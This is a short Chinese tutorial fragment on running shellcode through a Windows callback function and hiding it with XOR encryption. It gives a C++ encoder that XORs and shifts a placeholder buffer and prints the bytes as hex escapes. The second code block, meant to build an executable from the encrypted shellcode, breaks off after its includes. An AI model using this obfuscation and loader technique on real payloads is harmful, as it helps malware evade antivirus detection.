回调函数调用shellcode && shellcode异或加密
异或加密生成加密后的shellcode
1234567891011121314#include "stdio.h"#include <iostream>#include "windows.h"int main(){ unsigned char buf[] = "shellcodes"; int nl = sizeof(buf) - 1; for (int i = 0; i < nl; i++) { buf[i] = buf[i] ^ 1022; buf[i]++; printf("\\x%x", buf[i]); }}
将加密后的shellcode进行处理,生成exe
1234567891011121314151617181920#include "stdio.h"#include <iostream>#include "windows ...

